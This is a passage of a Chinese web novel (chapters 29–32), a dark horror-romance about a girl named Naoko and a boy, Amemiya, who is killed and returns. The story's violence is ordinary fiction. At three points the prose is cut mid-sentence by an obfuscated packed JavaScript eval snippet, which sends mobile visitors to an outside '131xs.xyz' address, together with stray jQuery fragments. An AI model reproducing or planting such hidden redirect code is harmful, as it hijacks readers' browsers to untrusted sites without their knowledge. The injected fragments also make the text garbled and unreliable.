“不，可是我需要正常的社交。” “好吧，如果你坚持的话。” 她惊讶于雨宫的妥协，但很快就知道，雨宫君本质还是那个雨宫君。 因为他提出的所谓的解决方案，就是他在男友之余，再扮演女性朋友的角色。 奈绪子面如菜色：“那还是算了，我不需要。” “种花家有个词叫‘覆水难收’，我们现在也是这样哦，奈绪子。” 为了躲避聒噪的雨宫，她早早就钻进女生帐篷里，再地铺上躺了下来。 不过也是因为睡得太早，膀胱就传来了尿意。 如果现在起床的话，就要独自到两百米以外的公厕。说实在的，她有些害怕。 她在帐篷内熟睡的同学们身上扫视了一圈，最后还是抵不过尿意，拿着手机从被窝里爬起。 这里的夜晚很冷，阴风阵阵。 她脑子里不由得冒出来以前听过的鬼故事，比如说森林里吃人的精怪、意外被吊死在树干上的恶鬼之类的。 不远处的树丛里晃过一道手电筒的亮光，奈绪子下意识投去一眼。 一个长相有些熟悉的男同学，正用嘴巴叼着手电筒，奋力把一个重物往森林深处拖。 是铃木君。 他阴冷的眼睛小心地朝四周围扫射，但也许是隔得太远，他并没有发现正观察着他的奈绪子。 她下意识屏住呼吸，抬腿跟了上去。 29.第二十九章 窸窸窣窣，窸窸窣窣。 布料在硬实的泥地上摩擦过，发出令人牙酸的声音。 铃木君最终在河边停下，从怀里掏出了一把锋利的水果刀。 他拨开地上那人额前的碎发，用手电筒照了又照，唇边牵出一抹痴迷的、幸福的微笑。 奈绪子躲在树丛后，白光把雨宫的脸打得惨白，他紧紧闭着眼，看上去没有半点反应。 她寄希望于铃木君手里的只是把玩具刀，亦或者他们只是在排演情景剧，或是别的……什么都好。 但当铃木君抬起刀划向雨宫的左脸时，她确定： 铃木君疯了！ 他在雨宫的脸颊画了个十字，痴迷地凝视着那两道在夜色里汩汩淌血的伤口。 半晌，他匍匐下身，贪婪地吮食着地上的血液，窸窸窣窣的声响，听得她脊背发凉，四肢僵硬。 这样下去，雨宫君一定会被杀死的。 四周围静悄悄的，如果她在这里大喊，等同学们赶来，估计正好可以给雨宫君收尸。 她环顾一圈，总算在灌木丛里看见一根不知道谁遗落的高尔夫球棒。 鲜血让人兴奋，也麻痹了铃木的心智，以至于并没有察觉到她的靠近。 奈绪子拼命屏住呼吸，小心地挪动着步伐，往他身后绕去。 他凌乱的脑袋在雨宫胸前起伏，月光下，他脸上染满了猩红的血液，整个小树林里，安静得能听见他舔舐和吞咽的声音。 腥气在河边弥漫开，她几乎要忍不住呕吐出声。 对准那个耸动的后脑勺，她高高举起球棍，用力地挥了下去。 咚的一声巨响，夹杂着球棍挥动的破空声，铃木君软软地倒了下去，探出的舌头还在一伸一缩贪婪地舔舐着空气。 他的脑袋滚了半圈，将奈绪子吓得惊叫一声，面条似的两条腿也软倒下去。 她好不容易才抻直双腿，把铃木君踢远。 “雨宫君……雨宫君？”她小心翼翼地爬到雨宫身侧，颤抖着嗓音喊了两声。 没有回应。 那具白皙圣洁的身体安静地平躺在地，鲜血浸湿他的衬衫，淌了一地。在月光的笼罩中，他显得美丽惊人——简直就像是童话中的“白雪公主”。 不、不会死了吧？ 她犹豫着把手背贴近他的鼻间。 尽管轻微，但她还是感受到了轻微的气流涌动。 还活着，她松了口气。 正要把手缩回来的时候，啪的一声响，她被一只冰凉的手狠狠攥住了。 “奈绪子？” 沙哑的声音响起，把她吓了一跳。 他蹙起眉，单腿屈膝从地上坐起身，道：“不是说过了吗？让你入夜不要到处乱跑。” 他的语气，自然得就像在问今晚吃什么。 “雨宫君……你，没事？”她的视线，不由得落在他胸前那个显眼的十字伤口上。 他不答反问：“你到这种地方来，是有什么事吗？” 受了这种严重的伤，现在居然还在问这种不痛不痒的问题？ 奈绪子本想提醒他去处理伤口，但对上他的双眸，却只敢窝窝囊囊地回话：“我是来找洗手间的，正好看到铃木君，他正把你……往林子里拖，才跟来看看……” 闻言，他顺着她惊恐的视线，落到铃木君脸上，但只轻瞥一眼，就冷嗤着收回了视线，转而恼怒地瞪着她：“多管闲事，谁需要你跟来？” “喂，我这可是为了救你！你知不知道，刚才你差点就、就死了……” “闭嘴。”他攥紧她的手腕，拖着她疾走了两步。借着月色，奈绪子看清了他陡然变红的耳垂。 不过刚走两步，他就恨恨地回过头来，狠狠往铃木君身上踹了一脚，并冷酷地评价道： “真是只肮脏贪婪的「老鼠」。” 两人一前一后，沿着湖边往洗手间的方向走，准确地来说，是雨宫拽着奈绪子。 她捂着嘴，这才开始后知后觉地感到害怕，连腿肚子都忍不住发抖：“雨宫君，雨宫君……我，我是不是要去自首？” “‘自首’？川濑奈绪子，你又犯蠢了吗？” 她欲哭无泪，露出一副紧张兮兮的表情：“可是，我打人了，万一铃木君死了……我这可都是为了救你，雨宫君，你可不能就此甩下我——” “祸害遗千年，那「老鼠」怎么会就这么死了呢。”见她满脸是泪，他嫌恶地给她抹了把眼泪，“他什么都不会说出去的，有什么好怕的，蠢货。” 说这句话的时候，他脸上狰狞的伤口跟着肌肉跃动，如跗骨之蛆似的依附在那张艳丽的脸上，显得糜烂又壮观。 “你的脸……”她低喃。 “你说这道伤口吗？”他随手一擦，那道鲜艳的裂痕就像块污渍一样，被随手抹掉了，“小伤而已。” 奈绪子瞪大了眼：“这怎么会……我刚才明明看见，他用刀子在你脸上划了两道伤口……” 依照出血量来看，这两道伤口绝不会太浅。 雨宫脸上的表情变也没变，他淡淡地打断道：“离得那么远，天色又那么暗，你看错也很正常吧。” “诶，是这样吗……” “摸摸看吧。”说着，他一只手捏着奈绪子的手腕，放到自己脸上抹了一把。 快凝固的血液被拨开，浓郁的血腥味跟着蔓延，露出底下光洁白皙的皮肤。 没有任何伤口，无论是哪个地方，都完美得令人心惊。 她喃喃：“这不可能……刚才明明……”明明流了一地血的。 “我说过，是你看错了。”他不耐烦地重复，“不是要找洗手间吗？走吧，我记得就在那边。” 这一打岔，奈绪子就将这件事抛之脑后，被他推着往洗手间的方向走。 孤独的铃木君就这么被两人遗落在原地。 唇齿间还残余着属于雨宫君的血液的腥香，他舔舔唇，不甘的眼睛死死瞪着并肩离去的两道背影。 从洗手间往回走的路上，奈绪子走在前方，但时不时回头往雨宫的方向看。 正要转身的时候，脑袋搭上一只温热的手，他温柔的声音随着夜风吹进耳朵： “我发现和奈绪子待在一起的时间，是很有限的呢。” “哪里有限了呢？我的整个人生都被雨宫君你纠缠着。”她不满地冷哼。 从有意识起，到现在，雨宫从未缺席过奈绪子的任何一段人生。 这句话不知道哪里戳中了他的笑点，他弯腰笑了好一阵，等她气得磨牙，才点头道：“哦，好像是的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789788|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈绪子你就像是被关在笼子里的小白鼠，怎么也逃不出去。” 她炸毛：“这种无礼的比喻是应该的吗？” 什么小白鼠…… “是必然的呢。”雨宫微微垂下眼，“时间不早了，川濑，你快回去休息吧。” 刚经历了那种恐怖的事情，怎么可能安然睡着。况且，她想要和雨宫君待着。 她实话实说：“我睡不着。” “看来奈绪子你的生命是一个轮回。又到了抱着我喊妈妈的时候了吗？”他轻哼一声。 说的应该是奈绪子牙牙学语，他还被忙碌的川濑美里拜托看管小孩的时候。 她干过不少诸如抱着他喊妈妈、向他讨奶吃还有央求他亲亲抱抱之类的糗事……大概吧。 总之他每次提起，总是眉飞色舞的，像掌握了某种所向披靡的秘辛。 她没好气地反驳：“不是你自己说的吗？七岁以后才认识的我，所以你就别再提以前的事了。” “哦，那不可以。”雨宫故意道，“我现在发觉，无论是以前的我，还是现在的我，都是「雨宫富江」不是吗？” 又开始说让人听不懂的话了。 他把血渍和泥迹洗干净，虽然发丝散乱，但看起来又是平日里那个意气风发的雨宫君。 “不想回去吗？” 她闷闷道：“不想。” 雨宫找了个安静的地方，坐下，主动拍拍身边的位置，不好意思地侧过脸： “总之，先靠着我休息一会儿吧。” 奈绪子实在是又累又困，靠在他胸膛，闻着他身上萦绕的血腥味和幽香，听着他沉闷急促的心跳声，就这样滑入了梦乡。 迷迷糊糊的时候，她只感觉有一只温柔的手，撩开了她眼前的碎发。 痒痒的。 直到天边泛起鱼肚白，她才艰难地掀开眼皮。 刚动了下脑袋，雨宫有些低哑的嗓音传来：“奈绪子，你终于醒了吗？我的手臂已经被你枕麻了。” 奈绪子这才发觉，似乎是为了防止她滚到别的地方去，他还伸出一只手来，接住了她的脑袋。 “哦……对不起，雨宫君。” “这副样子，看起来还真是……”他轻咳一声，“蠢。还不赶快起来？” 熬夜使他疲惫，眼下发青，但看起来却还是有种虚弱美人感……是这个形容吗？ 雨宫将她拉起，拖回到帐篷里。 清晨很是安静，奈绪子收拾好自己，再钻回被窝里，假装昨晚什么也没发生。 直到太阳初升时，才有人发现晕倒在河边的铃木君。 他脸色苍白，好在还留着一口气，被紧急唤来救护车送进了医院里。 因为这个意外，当天大家就坐大巴回到了学校。 奈绪子为此担惊受怕了几天，怕铃木君突然把她供出来，然后把她抓进大牢。 相反雨宫君倒是一副没事人的样子，低声道：“不管怎么说，都是他先对我动手的不是吗？我不会让你坐牢的。那种「老鼠」，没死真是便宜了他。” “假如真出了事，雨宫君你不也什么都做不了。”她虚弱地把头埋在臂弯里，有气无力地抱怨。 他把手搭在她后颈处，轻轻揉了揉：“我会带着奈绪子逃到天涯海角的。” 30.第三十章 这话他说得半真半假，她当然也只当成笑话听。 因为那件事，奈绪子一连做了好几个晚上的噩梦，梦里总有几只苍白的手臂，试图将她拖入湖底。 但一切都如同雨宫所说，铃木君并没有和警方透露那天晚上的任何一个字。 而雨宫也拒绝了她报警的提议，一切都像是没发生，只是奈绪子一个人在小题大做。 转眼就到了暑假。 雨宫君似乎真的在试图成为奈绪子的亲密好友。 比如说开始了解她某些隐秘的喜好，比如说喜欢什么颜色的胖次（这真的不是骚扰吗？），口红喜欢什么色号，裙子和鞋子分别穿多少码…… 为了能谈上话，他甚至买了不少化妆品，还煞有介事地问她：“我扮成女人会让你比较有代入感吗？” 奈绪子不悦地骂他：“喂，我要找的是女性好友，而不是人妖好友。你还是省省吧。” “哦，这样啊。” “这种惋惜的语气是应该出现的吗？” 他轻咳一声，侧过言避开她的视线：“扮成女人的话，不是可以牵着手逛街吗？” 奈绪子无语了一阵：“你保持现在这个样子，不也总是和我牵手吗？” 他这才露出一副恍然大悟的神情，缓慢点点头：“说得也是。” “……” 诚然，这世上也许还没有出现什么雨宫所办不到的事。 随手拍的照片，总是特别好看；随便化的妆，比她琢磨一整天的还要好。 虽说其实和以前也没什么不同，但有人陪伴，奈绪子开朗了许多。 她度过了相对满意的两个月，可以说，除了性别不对，雨宫君是个完美的好友。 只是有时候嘴里总会冒出点奇怪的话，比如说：“哈，我又输给他了吗？” “‘他’？‘他’是谁？”奈绪子莫名其妙，“我只是说，你以前给我画的眼影更好看点而已。” 他语塞，只冷哼一声，说一句“没什么。”就闭口不言。 黑猫泡泡在雨宫家养得越来越好了。 这大概得益于奈绪子的时常来临，和定时定点投喂的猫粮。 猫对雨宫一直不太亲近，一人一猫还是相看两厌，不过几个月下来，已经习惯了彼此的存在，至少不至于像之前一样每天打架。 奈绪子网购了一个木制猫爬架，据商家所说，这是猫咪界的滑滑梯。 孩子怎么可以没有滑滑梯呢！ 她激情下单。 没看说明视频的结果就是，她一直捣鼓到天黑，这个猫爬架也没有立起来。 雨宫环抱臂膀倚着门框看她，见她脑门上都是汗水，忍不住道：“一只破猫也值得你费这么多心神吗？” 一开口，语气就是酸溜溜的。 也许是为了补救，他又状似补充了一句：“反正它平时也只会窝在沙发上。” “也许它会喜欢呢。”她坚持。 奈绪子试图用铁锤把钉子敲进去，不过犹豫了几分钟，也没找到最佳敲入点。 他绕到身后，不耐烦地从她手里把工具抽了出来。 “算了，就当是日行一善。” 话音刚落，他就小声痛呼了一声。 这是因为雨宫一个不小心，把他的手指当成铁钉重重地敲击了下，铁锤砸肉的闷响，听得人起了一身鸡皮疙瘩。 “……” “雨宫君，你还好吧？”沉默两秒，她才憋着笑开口打破了平静。 “痛死我了，都是这该死的猫。”他疼得连苍白的脸都浮起两抹酡红，瞪着旁边无辜的泡泡。 比起疼，他应该更觉得丢脸。 虽然没有什么用，但她还是小心帮他吹了下：“吹一吹，应该就好多了……” 再抬起眼时，雨宫连耳根都红透了，轻咳一声，移开了视线。 奈绪子戳戳他肿起的手指：“很疼吗？” 他盯着一边的地板，半晌没说话，过了一会儿，才突然喊：“喂，奈绪子。” 突然低沉下来的声音，在安静的大厅里，显得很突兀。 “嗯？” 他的脸逆着光，奈绪子看不清楚他的表情，只能听见他有些阴沉的问句： “你怕疼吗？” “啊？”她当然怕，还是非常怕。 “别总傻傻地盯着我看啊，”他把她的头按下，藏起她的表情，“有时候觉得，还不如把你弄死呢。然后制作成标本，浸泡在福尔马林里。 “为什么你偏偏只是个普通人。” 不是普通人，难不成还能是超人吗…… 她完全听不懂他的意思，反驳道：“那我总不能是鬼吧？妖精？” “鬼不好吗？这样的话，”他垂下眼，“你就能永远陪着我了。不过，我说，奈绪子。” 他好像有些不好意思，侧过身，磨磨蹭蹭地问：“你是喜欢现在的雨宫，还是以前的雨宫？” “哈，有什么不一样吗？” 虽然好像是变得傲娇了一点，但其实对她还是很温柔。 对于她的反应，雨宫扯了扯嘴角，似乎很失望：“又是这副呆愣的表情啊。算了，反正跟你说了，你也不会明白……” “当然是都喜欢。” 这下轮到他愣住了：“……什么？” “当然是都喜欢。虽然不明白雨宫君你为什么总问这种无聊的问题，但答案是都喜欢。 “不管是现在的雨宫君，还是以前的雨宫君，都是雨宫君不是吗？是一直在保护我的雨宫君，哭了会安慰我的雨宫君，也是之前掉进水里，毫不犹豫跳进水里救我的雨宫君……” 奈绪子絮絮叨叨的，其实还有很多话想说，但还没说完，就被他伸手掐住了脸。 他唇角翘起一个轻微的弧度： “算了，你就这样当个笨蛋吧。也没什么不好。反正，你这辈子都注定和「雨宫富江」纠缠不清。” 在他们拉扯的这会儿功夫里，太阳渐渐落山。黄昏时分，残阳从窗口透了进来，打在屋内相贴的两位少年身上。 狭小的空间，暧昧的氛围，某种难以言说的爱意在疯狂滋长。 雨宫的心脏剧烈地鼓动着，手也不自觉落在她脖颈上，他又用一种黏腻的、诱人沉沦的甜蜜嗓音轻声问： “要接吻吗？现在。这里只有我们两个人哦。” 他不得不承认，奈绪子就是有这样的魅力。 他认可前面七位「雨宫」所做过的一切蠢事。 说白了，他也是「雨宫」之一，为川濑奈绪子沦陷是理所应当的，不是吗？ 奈绪子愣住了，不过不等她回答，雨宫就倾身吻过来。黏腻柔软的触感，从她的眼睛，滑落到鼻翼，再到唇角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802167|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的吻很生涩，却像春雨一样绵密，吻得她几乎无法呼吸。 奈绪子被那双修长的臂膀抱了个满怀，在他怀里闷声问：“雨宫君，你换香水了吗？” “嗯？” 轻柔的应声，她能感觉到这个字节在他胸腔里撞击发出的闷响。 “和以前的味道不一样了呢。还是很好闻，是同样温柔的感觉。” “嗯，是吗？” 不过正在两人耳鬓厮磨的时候，泡泡喵喵低吼着跑来，一个箭步一跃而上，恶狠狠地往雨宫君那张美貌的脸上挠了几道。 如此精准而迅捷，甚至两个人都没有反应过来。 “……这只该死的猫！”他只来得及把无辜的奈绪子推开，被黑猫扑倒在地，没一会儿，额角就多了两道爪印。 奈绪子不敢伤了猫，又怕雨宫被挠个三长两短，急得拉架，总算在他毁容之前，把他脸上的猫扒拉了下来。 “这只蠢猫！到现在还认不清楚主人吗？”他气得五官错位，连眼皮都在抽动。 他的脸多了几道伤痕，好在先前奈绪子给泡泡修过指甲，他伤得不算太重。 一人一猫怎么会这么不对付呢…… 听说猫界也有同性相斥一说。 不过脾气这么差，该不会是因为发.情吧？ 这么想着，她俯身把猫抱起，给它翻了个身。 似乎察觉到她的想法，黑猫表现得很排斥，喵喵叫个不停，一条长尾巴轻轻地往她脸上甩了两道，惊恐地翻身准备离开。 雨宫也在她身后冷冷问：“川濑奈绪子，你这是在做什么？” 她头也没回，准备埋头往猫咪的下腹看，被它不轻不重地踹了两脚：“当然是看看性别。听说绝育的猫咪活得更久呢。” “不准。”说着，他从她手里把猫拎起，向来抵触的黑猫这回破天荒的没有挣扎，乖乖被他放到一边去。 “为什么？” 他的脸立马炸红了，咬牙切齿：“总之就是不准。” 黑猫惊恐地跳开，急匆匆躲进了猫屋里，奈绪子只好暂且顺从一人一猫的意思。 最终在雨宫的帮助下，大厅里总算立起了一个像模像样的猫爬架，但许是因为沾了他的气味，黑猫显得很不爽。 它不但对此不屑一顾，甚至还冲着猫爬架撒尿。 生活当然不会总是这样风平浪静。 消失一段时间的入江前辈很快卷土重来，奈绪子经常能看见他出现在社区里的鬼鬼祟祟的身影。 与此同时，雨宫也变得非常奇怪。 明明约好了一起约会，他却总是莫名其妙地消失，电话不接，消息也不回，再出现时，身上总是带着这样那样的伤。 奈绪子对此很担心：“雨宫君，你该不会是惹到了什么上川复仇者之类的怪人吧？听说他们最近很活跃呢……” 据说他们最近正在招纳会员。 雨宫的脸反常的苍白，他摇摇头：“哦，没什么，不是这种事。” 既然他都这么说了，她也不好揪着不放，虽然说对于电影看到一半，他就突然跑路这件事有所不满。 不过刚走两步，奈绪子的肩上就落下一个毛茸茸的脑袋，他头一歪，险些滚落在地，幸而被她及时接进了怀里。 “……雨宫君？” 她抬起手，不知道什么时候已经摸到了一手的血。 31.第三十一章 他躺在她怀里，眼睛半睁半闭，没有焦距。 奈绪子吓得不轻，连忙把他放倒在地，手忙脚乱地跑到客厅。 但叫救护车的电话刚拨通，就被一只手抽了出来。 “不要打电话。”他的脸色还苍白着。 “雨宫君？！你、你醒了？” 他没有气力再解释些什么，自如地把手臂搭到她肩头：“先扶我到楼上去。” 奈绪子往他身后瞥了一眼，从大厅到这边的地板上，都蜿蜒滴落着来自于雨宫的暗红色的血液。 雨宫平躺在床上，眯起眼盯着旁边的少女，她紧张兮兮地啃着自己的拇指，看起来下一秒就要被吓得昏厥过去。 “雨宫君，实话实说，你是不是做了什么违法乱纪的事？甚至无法去医院？” 他伸手探了探她的额头：“奈绪子，你是不是做梦了？或者，又在玩什么暗黑风格的乙女游戏。” “我现在没有心情和你开玩笑。”她不悦地拂开那只手，“你该不会是去加入了什么黑.手党，然后被寻仇了吧？” “……”他露出一副无语的表情，“不是。但是……” 他一顿，才道：“我可能要死了，奈绪子。” “……开什么玩笑啊？我刚才检查过了，只是皮外伤而已，不会有什么生命危险的。” 虽然蜿蜒一地的血迹看起来很吓人，但实际上伤口并没有那么严重。 她希望雨宫下一秒会露出以前那种欠揍的表情，然后说：“喂，只是开个玩笑，你不会真信了吧？” 但是，并没有。 “奈绪子会记得我吧？”说完，他又自顾自低笑一声，“应该不会记得的。你总是这副蠢样。” 为什么突然人参公鸡啊。 这副低沉的语气，让奈绪子莫名地感到不安。 “雨宫君，如果你做了什么不该做的事，我们还是趁早去自首……” 话说了一半，雨宫就恼怒地捂住了她的唇：“川濑奈绪子，你给我闭嘴。否则我不保证自己不会把你掐死。” 危机都藏在平静的涌流里。 学校附近有个破落的小公园，因为景色一般，湖里还时不时浮起几条散发着恶臭味的鱼，所以一向人迹罕至。 不过自从带奈绪子来过一次之后，雨宫对这里就尤为满意。 因为除了他们两个，这里一个人也没有。 好不容易到了周末，雨宫拒绝她待在家里撸猫的提议，强硬地把她带到小公园，并准备和她进行一场紧张刺激的野餐活动。 但事实上就是在死鱼旁边啃那只干巴巴的三明治。 明明可以去商业街这种地方逛逛，不过提出几次，都被雨宫冷酷地拒绝了。 他的原话是：“我们应该营造一些更难忘的二人记忆，逛街看电影实在是太普通了。” 虽然说荒废的小公园的确很特别，但是…… “这种地方只适合随便逛逛，怎么可能适合野餐啊？”她拼命锤着胸膛咽下嘴里的面包片，铁青着脸抱怨，“而且，这死鱼味实在太浓了。” 雨宫正给她削着一只红苹果，闻言不以为意：“我倒感觉这里不错，安安静静的，只有奈绪子你和我两个人。” 说是这样说没错，但这地方完全没有浪漫可言，事隔经年，她应该只能回想起浓郁的死鱼腥味。 “算了，我先去一趟洗手间。” 雨宫还喊住她：“要一起去吗？我就快要把这只苹果削好了，果皮一点都没有断哦。” 这家伙，也太幼稚了。 “不用了，我一会儿就回来。” 她顺着小路往洗手间的方向走去，四周围安安静静的，只能听见蝉鸣和鸟雀间或的娇啼。 等她回来，已经是七八分钟以后了。 隔着影影绰绰的树丛，一个弓着腰、发丝凌乱的黑发男子一个箭步，上前捂住了雨宫的嘴。 不等奈绪子反应，男子就动作迅速地抬手给了他几刀，雪白的刀子没入胸腔，再拔出来时，就变成了殷红的。 前一秒还挣扎得厉害的雨宫君，只急促地呼吸两下，就软软地倒了下去。 疯狂的男子振臂高呼： “雨宫君！雨宫君，你终于是我的了……你的这颗心脏，你美丽的脸，终于都属于我一个人了……” 鲜血成股涌出，溅湿了他胸前的衣襟。 “我要将你拆吞入腹……雨宫君，这世上不会再有别的贱人能够占有你！你是我一个人的！”凶手侧过脸，在日光的照耀下，奈绪子看清了他狰狞的脸。 是入江怜央，那个她曾经爱慕的温柔学长。 他低下头，面色贪婪地伸嘴去接奔涌而出的鲜血。 “我会好好品尝的……雨宫君，你的每一块血肉，我都会一点不落地吃进肚子里……” 隔着一定的距离，奈绪子不知道雨宫有没有看清她。 也许是有的，他在找她这件事情上有异于常人的天赋，更何况，他还微妙地冲这个方向微笑了一秒。 入江离开了，看样子，是准备去找些什么能把雨宫运走的工具。 她知道，这次雨宫千疮百孔，她无法再像上一次那样拯救他。 她双腿发软，面色苍白，几步在他身前停下，跪坐在地。脸上凉凉的，像藤蔓一样爬了满脸，原来她早就哭了。 雨宫心脏的位置插着一把刀，汩汩的鲜血落了他满衣襟，此时还是随着他起伏的呼吸，一股一股往外涌。 她认出来，这是刚才他用来削苹果的那一把水果刀。 “啊，奈绪子，在为我流泪吗？”一只冰凉的手轻柔地拭去她眼角的泪，他的语气还是和以前一样，若无其事、漫不经心的。 “你还好吗雨宫君？趁现在，我帮你打电话喊救护车吧……？” 她语无伦次，手搭在刀柄上，像泉水一样涌出来的血液，挤出她的指缝，在青草地里积了一个小水洼。 她试图说服自己：“一定可以活下来的……反正雨宫君你的自愈能力很好不是吗？然后再把他绳之以法，以后就都安全了……对了，我们要喊救护车！” 不过她刚抬起手，就被他紧紧攥住。 “没关系的，奈绪子。你陪我坐一会儿，再陪陪我吧。”雨宫的语气是难得的温柔，恍惚间，好像又短暂地变回了以前那个温柔的「雨宫富江」。 “你是不是要死了……雨宫君？是入江前辈杀了你，对吗？我刚才，我刚才都看到了。我带你离开这个地方，然后去医院，你努力活下来，好吗？” “事到如今，奈绪子你还要提什么无关的其他人吗？” 他没有回答她的话。失血过多使他活动困难，发绀的眼睛缓慢转动，落到她唇上。 他微微勾起唇角，轻声问道：“要接吻吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815913|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈绪子。 “这可能……是我最后一次吻你了。” 她脸色苍白，惊恐地摇头：“不会的……雨宫君，不会的，你绝对不会死的……” “没关系的，奈绪子。我是绝对、绝对、绝对，不会离开你的。”他的双眸迸发出某种偏执的光，“这世上不会有任何一个雨宫，能够离开奈绪子你而活下去。所以，你永远都不需要为我担忧什么。” “这是……什么意思？” 他没有多言：“你以后就会明白的，奈绪子。” 他变得和以前一样，喜欢呼喊她的名字。尖锐的性格也渐渐被磨平，变得宠溺和温柔，是奈绪子最熟悉的样子。 她还想继续问些什么，但被他强硬地捧着脸倾身吻了上来。 他的吻比以往任何一次都要温柔、细致，像是要在她唇齿间的任何一个位置打下自己的印记。 只是舌头是凉的，冰凉的舔舐，让她不自觉起了一身鸡皮疙瘩。 正吻得入迷时，她听见身后传来一阵凌乱的脚步声，急促而又沉重，显示着主人愤怒到了极点的心情： “川濑奈绪子，怎么又是你？！为什么，为什么你总要坏我好事？！雨宫君是我的，是我的！知道吗？” “雨宫君，身后有、有人……” 雨宫捧着她的脸，微凉的手指按在她的唇上，额头与她相抵：“不要怕。奈绪子你不会有任何事的。” 他的手指滑动，转而捂住了她的耳朵。 世界陷入黑暗之前，她只听见一声缓慢的轻叹，是雨宫在喊她的名字： “奈绪子，真拿你没有办法啊。” 耳边传来一声响指，奈绪子猛地醒了过来。 她正趴伏在课桌上，脸上冰冰凉凉的，一摸，全都是眼泪。 好像做了个可怕的梦，她梦见雨宫君死了。 “雨宫君……” 她现在有一种强烈的、想见雨宫的冲动。 “嗯？你有事吗？”似乎是听见了她的低吟，一道冷淡的嗓音从身后传来，审视的视线落到她脸上，“奈绪子，就是你对吧？” 陌生。 这是看到他的第一眼，脑子里冒出来的词语。 眼前的人陌生得根本不像是雨宫君。 “我刚才做了个奇怪的梦……梦见你好像，好像死了。” “的确是死了。他不死，怎么会有我呢。”他在她课桌上坐下，抬起她的下巴左看看右看看，“你看起来也没什么特别的地方嘛。” 他看她的视线充满陌生的审视，就好像她是一个小事消失多年、又突然冒出来的童年玩伴。 看清他的脸，奈绪子惊慌的心情平复许多，没好气：“你也太无礼了。” “比这亲密得多的事情都做过不是吗？现在倒觉得我无礼了。”他扬起一抹无谓的笑。 这段对话居然有种莫名的熟悉感，只不过角色完全调换了。 她垂下眼，手指还在不自觉地发着抖，恍惚间，还残留着某种猩红液体的温热的触感。 那真的只是梦吗？ “雨宫君……我能，抱抱你吗？” 她可怜兮兮地抬起眼，眼泪又顺着脸颊流了下来。 对视一阵，雨宫才嫌恶道：“恶心死了。” 这么说着，手却很熟练地抬起，拭去了她眼角的泪水，反应过来时，他低声骂了一句什么。 32.第三十二章 “算了，抱就抱吧。别再哭了，行吧。”他蹙起眉，伸手给她拨开眼前被眼泪浸湿的刘海，“头发都快要掉进眼睛里……嗯。” 话音未落，奈绪子就伸手抱住了他，脸也跟着埋进了他柔软的肚子里。 他脸色一变，磨牙冷叱：“你这样是不是有点不太客气了，川濑奈绪子？” 科学表明，拥抱能让人感觉到幸福，果然没有错。 她平静下来，埋首在他怀里闷闷道：“既然是男女朋友，稍微抱一下也没有关系吧？反正教室里也没有别的同学。” 这句话不知道哪里戳到了他的痛处，他伸出一根手指，抵在她的额头，拉开了两人之间的距离。 “嗯，我忽然觉得很有关系呢。” “……” 奈绪子心情平复得差不多，又有了和他斗嘴的冲动：“嗯？你又犯病了吗？雨宫君。” 雨宫从她课桌上起身，后退一步，笑吟吟的： “总而言之，我觉得我们还是保持距离的好。” 这家伙总是想一出是一出，今天可能又是脑袋被门夹了。 “为什么？你不会是想跟我分手吧？” 奈绪子对他并不是爱情，她深知这一点，所以是否分手，只要雨宫还留在她身边，她就觉得无所谓。 但是对于这件事，雨宫却表现得很激动。 “那怎么可能。”他不自觉拔高了声音，坚决地打断了她的话。 她被吓了一跳：“不要一惊一乍的啊。” “难怪能把雨宫富江吃得死死的，还真是厉害啊。”他随口抱怨了一句，但声音不大，奈绪子并没有听见。 像以前的所有雨宫一样，他选择了妥协： “算了，不是要拥抱吗？你抱个够就是了。” 雨宫大方地张开双臂，朝她展开了怀抱，像只老母鸡似的拥住她。 瘦小的奈绪子在他怀里，也的确像只小鸡崽一样。 他随口点评道：“怎么小小的一个啊，川濑。” 他的神情很嫌恶，也表现得很勉强，但手上却很自觉的帮她擦了眼泪，反手抹到她衣服上，抱怨道： “恶心死了，有什么好哭的，反正死了一个，还有……”还有另一个。 说到这里，他诡异地停顿了一下。 “你又在说什么鬼话吗？”她瓮声瓮气。 她看起来瘦弱而可怜，以至于雨宫都要质疑，只要稍稍用力，就可以要了她的小命。 身为雨宫富江最大的危机，就是时刻得注意会不会有人将自己或身边人杀死。 能让川濑奈绪子这种脆弱的蠢货活到现在，「雨宫富江」们应该为此做出了不少努力。 不过，他和那群只知道得过且过的蠢货可不一样。 不就是保护自己和川濑吗？ “哦，没什么，只是在说，你真是个笨蛋而已。” “喂，为什么总是说我是个笨蛋？”她不悦地反驳，“虽然我成绩没你好，但也完全不差好吗？” “我以前也这么说吗？那好吧，从今天开始，我就要改掉了。” 